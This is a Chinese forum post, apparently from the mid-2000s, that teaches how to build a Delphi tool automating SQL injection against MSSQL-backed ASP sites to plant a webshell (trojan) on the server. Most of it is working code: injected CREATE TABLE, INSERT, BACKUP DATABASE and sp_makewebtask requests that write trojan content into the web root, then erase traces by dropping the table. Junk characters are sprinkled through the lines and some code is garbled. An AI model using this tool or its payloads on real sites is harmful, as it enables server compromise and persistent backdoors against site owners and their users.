- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >一.通过SQL注入得到WEBSHELL的原理:
\) i" e' k# Z1 `* d: hN.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 $ f3 `# w) ]! _- Z/ b' C7 G
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 ^/ t6 ~; _6 a0 `9 X
再来看看CZY的方法吧。
5 o' C0 Z/ p, yCZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 . U. W* z n* A1 H) j% F6 c
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
: ~7 ]; ~/ {0 e" r7 e+ A# F二.利用DELPHI去实现功能的前言 7 v3 N/ }8 e" D+ H, Z% u" X
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。 4 l' g \! V. o: s' X) |& s$ y7 b
4 a& B5 e9 ?: A; I0 k! r
三.如何利用DELPHI得到WEBSHELL。 3 ^+ M# ^: P/ A1 {& P$ d- D, M
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。/ X0 W6 S3 |8 c. l
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
3 u" ]0 |# ~* u6 `, z5 R3 Z. v- U' f0 ]' f% [0 Z
, I+ O( E4 C, S- s. M7 K4 W) D! M6 t( P! w/ p- V# b1 h
现在来写程序了。 . V& w2 ]9 Y* o0 l
我们首先定义一个RECORD。 / b3 }8 B; J; O x8 O% N0 {
如下:* g. e) P( \/ F1 r) h
Type " N5 F+ g6 D& p7 U" ~
SetOption = Record
2 u/ G0 `' c; B7 K% O! i b& _TableName : String; //用来保存要创建的表名. # V( G* r) W# e7 ?
FieldName : String; //用来保存要创建的字段名.
8 u, U, L l5 i. l2 A. j; c0 ZFiledType : String; //用来保存创建的字段名类型.
+ U/ k7 p8 O4 s9 L5 N" p+ [+ B: vEnd;
5 t$ ~9 [! p0 S/ Z h5 LFiledType字段类型的值是以下类型的一种:
' t5 J% _: [# C' OBigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
/ |' f0 r% y& m) A) [6 O* ?* R8 USmallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
% T7 ~; d! }" k6 z$ i: Y再定义一个全局变量:
% M+ a, X% {* z/ i* zVar 7 p1 l) K( x! r/ G) W
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
; L3 M! t5 t* c6 b9 r4 ?- Q好了。在表单创建的过程中,我们为RECORD记录输入默认值. & X. j/ n5 R) Z9 V% U. i
代码如下: 8 x' j& p* r0 Y: ~3 ?$ V6 v
procedure TMainForm.FormCreate(Sender: TObject);
% {+ ?) d% ?( E& m4 L/ g2 Xbegin
7 R2 l' J* w* x" h y, MsOption.TableName :='cyfd' 3 o8 O! Y+ `' j6 z4 z# L9 ~
sOption.FieldName :='gmemo' % ^' h- ^$ w! ~! k
sOption.FiledType :='text'
0 S/ J& v6 o7 j7 i- Uend;
- a* {, O K ]: b. v现在我们添加开始执行命令的代码。 8 |/ B4 k2 d7 R( _& h
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. 4 ]) g" c8 Y2 P/ H% B0 ^
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. , v/ o" }% h# ]* I0 E: y# e* m! ^
在程序开始执行前,我们得先检查一下用户的输入 * r4 J1 E0 X! M7 Y5 ~1 Z
定义一个Checkinput函数. 2 v* j) p2 U1 y, F c
如下:
' F' D* Z; Z& qFunction CheckInput : Boolean; 7 E' j% K7 d: r, N; R/ Z+ _
Begin + E- y$ R/ Z0 F% }# r& f
Result := False;
. I, p' n z, @if Trim(urlet.Text) = '' then ; Z4 ~' y' U( V) D: _, }. t
Begin
7 b$ ~/ O* H" u+ h# X: NApplication.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); 7 g: v* q1 m$ w4 x
Exit;
* c+ b# T9 ]; G8 j; z9 ?End; ' J2 Z0 Z6 M' e
if Trim(ShellPathET.Text) = '' then
+ v, p2 [9 v2 P. p% S, v% r; ]Begin 6 ~" P' [0 Z6 a$ K; [3 t! f
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
9 ~3 m4 r) T( ~% \9 U& L2 JExit;
* J' s8 l. |' |" F5 d3 G! k4 dEnd;
3 j7 F) W3 J' M# n5 z$ MIF DefBDoor.Checked then
0 f1 `" m% _/ |) o- {3 l2 a0 [( _Begin 8 Q% w5 r2 K8 m1 ~
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
7 f/ ~1 `/ ~2 ~! R2 ^Begin & e1 {8 V2 o9 ?: a* l" i0 R' H" D2 w! |
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
4 ^2 s5 ]. H3 nExit;
# k, t: F" P8 S1 b2 N% I) `8 |0 VEnd; % ?. H l1 v/ I c
End , d* p( T( v6 N3 Q- i# P
Else
t1 d+ {1 f# U- r9 Lif Not FileExists(CustomBdoorET.Text) then
+ H& p0 X7 R9 n4 n6 q2 k$ wBegin ( r, u1 X2 a2 {% e
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
. e. G% [4 @ C3 i; [Exit;
* l; s' l6 \- `% tEnd;
- \& E# z7 s5 `Result := True;
7 s3 x( G C, x; gEnd; ) q4 u* z0 R# o' G
在最开始加入: 9 v6 Q( _1 r' j5 j8 [; j) a6 d
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
- D. t6 Z1 Y* B* g/ i# l好了,如果用户输入没什么错,我们就来下面的代码。
% c/ c* c1 {4 q首先我们把IsStop设为假。创建BdoorList。 ! u0 R$ ], [% j! ]
BDoorList := TstringList.Create; / F- \) j" E; j# l0 T; L. u
再加木马内容到BDoorlist. / I5 r$ W% ~6 D7 Y& \7 P3 I
BDoorList.LoadFromFile(CustomBdoorET.text);
1 g4 v' U$ h' Y7 D* ~! T好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
% k( x8 Y1 q& t g代码如下:
3 ?8 N5 s( M9 s, J- Q' NBDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); 2 x5 Y* b0 w l) ~2 B
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); / X9 d5 x. e4 ~- }( y7 j D) l
接下来.我们就提交建表的功能了.
2 q2 m* [! ]$ ^( l: jMemo.Lines.Add('建表...'); : g" ]: k0 q* Z0 o& s
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
3 x+ G. y- N5 S: R! |9 Y这样我们就创建了一个表。然后.我们向表中加记录:
( v3 O; J+ s% Z# ^0 p代码如下:
* Q* I" w7 k$ K/ h' h: m! dMemo.Lines.Add('加数据...');
& Q0 Q8 R2 A4 ]" m }& \Memo.Lines.Add(''); 2 Y4 o5 o% u9 G4 |* o+ l
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
3 ~$ |: \ w2 A+ ^Begin 1 ^7 |5 u( l! k I' L
IF IsStop then //这里如果点了停止按纽程序将终止任务.
: R* h7 e9 n- v5 O- u6 DBegin
: W5 A2 b W' \0 {4 M6 N1 w; GBDoorList.Free;
. h5 _, T) p' P) }5 u7 zExit;
! [. d; o# J0 }2 D3 ?End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); " b2 T3 ?* b' e1 X
Memo.Lines.Add('Add Line '+Inttostr(i+1)); & [8 Y% p" d+ `
End; 8 x9 F& S6 M9 I8 G* \2 i. f. |
现在就是导出数据生成木马了. 4 G' F8 _ `, }- b! k
Memo.Lines.Add('导出数据...'); 1 g: D3 {7 J" ? s; s
Memo.Lines.Add('');
6 i7 c! J4 U/ ]" WIF BKData.Checked then //如果选中采用备份数据就执行下面的命令. 3 I1 [# G( Z6 I. w/ D% x
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
) w! X8 U% m3 V( `; h4 nElse //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
( [' W2 K- S% h0 v9 {2 A4 k( \# Y我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];'); : r f& }) ^3 a' ^
这样我们的任务就完成了。下面来释放变量.
! r9 u6 l# J- f% D; v6 w( c9 hBDoorList.Free; A L% `6 k! A- s
再来向停止按纽中添加点击事件:
# {3 X* {% @0 ?+ n) z) {6 I一行代码就行了:IsStop := True;
4 @- t# r7 S. Q# h到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。 & ]9 N* w3 w8 d- J
设置表单中先引用主表单.然后在界面中添加二个EDIT控件: & @0 ?+ V/ X8 o& B! T; s; V
第一个名称为:TableNameET //保用户输入的存临时表
8 ]; [0 n. w) q, b; c第二个名称为:FieldNameET //用来保存用户输入的字段名. - R/ L# `% ~+ G, H+ g9 f2 H# }7 d" @
再添加一个Combobox //用来保存用户所选的字段类型值.
5 _8 m+ @( T1 Z1 T# r名称:FieldTypeCombox
$ b% g* }$ f! C' s* BOK.界面如下: 3 N, y; L: J4 g" r: X7 J
0 A& ? y( C9 d
代码如下: ) |( ]# ~: H& ~
定义一个过程,主表单好调用这个设置。
2 E/ \7 R9 Y. [0 A& m( h+ p3 q! {Procedure ShowSet; 9 U+ ~- h7 H" P6 Z
Begin " H' }; K! a( d9 v. W
Application.CreateForm(TSetForm,SetForm);
. P9 `4 T4 [! r3 g6 g& M1 ^With SetForm do 4 P0 T# p# @4 f2 v* b
Begin ( A3 }* l4 \$ C; Z9 v
TableNameET.Text := sOption.TableName;
& n0 v8 D) b* b. j7 @) h, @; MFieldNameET.Text := sOption.FieldName;
* t/ N1 F6 q6 x2 kFieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); [2 m) p6 o0 e
End;
; P o: _* F( mSetForm.ShowModal;
1 N0 E) b8 f5 H r! V2 { dSetForm.Free; 5 c) q# A6 T5 q L
End; 2 |" d' p! n L) @; H. r" b
在主表单中设置的点击事件中添加上showset过程就行了。 2 R/ ~4 e \ X( ^% |
下面就是点击确定的代码了。 1 I; J* o) x1 `6 A( }& c
IF CheckInput then W x& M6 D! O4 j* Z" Z8 q
Begin
. s! b% K. D+ A% I# s7 `, GsOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
- X% i/ I+ r, q- J. Z$ G. b0 jsOption.FieldName := Trim(FieldNameET.Text); # |' D: L8 F1 W
sOption.FiledType := FieldTypeCombox.Text;
& ~; W, g3 M8 aClose; 5 z# v- a. C3 I) O* Q6 J% b
End;
2 Z6 ]0 V; D& F% h这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 0 @; p7 L' z2 \* I* K
代码如下:
/ J+ ]0 o, K/ y8 s2 cFunction CheckInput : Boolean;
- s5 r3 A0 U6 h2 w' S: I! x0 |9 mBegin
3 `( d' z# T: A1 ]9 D3 X. r4 UResult := False; $ N9 T9 X% X: s# Z. F7 ~1 u4 G
IF Trim(TableNameET.Text)='' then 1 X& ]3 P+ ?# P* g0 d
Begin # h( J2 @! ]2 h; w9 O+ b |8 {
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); + v, |, u0 Q5 O+ u5 b0 @7 L% z# J
Exit; : x9 @+ x/ ]7 d/ W$ y
End;
1 Y I1 B3 c" Q Q. S& N- I4 VIF Trim(FieldNameET.Text)='' then
: Y% A4 F: N+ \$ ^. }9 h- RBegin # ]. w; @1 A V7 n; p' E' G6 O
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); 2 I! ]0 u+ A: k
Exit; 7 C! G1 M G: @, ?0 |) i! c
End; 0 W$ W& S6 w) l
Result := True;
- T3 K# Q: V9 E( {! hEnd;
: c% l" u m) W, u+ D到这里程序就完了。</P> |
zan
|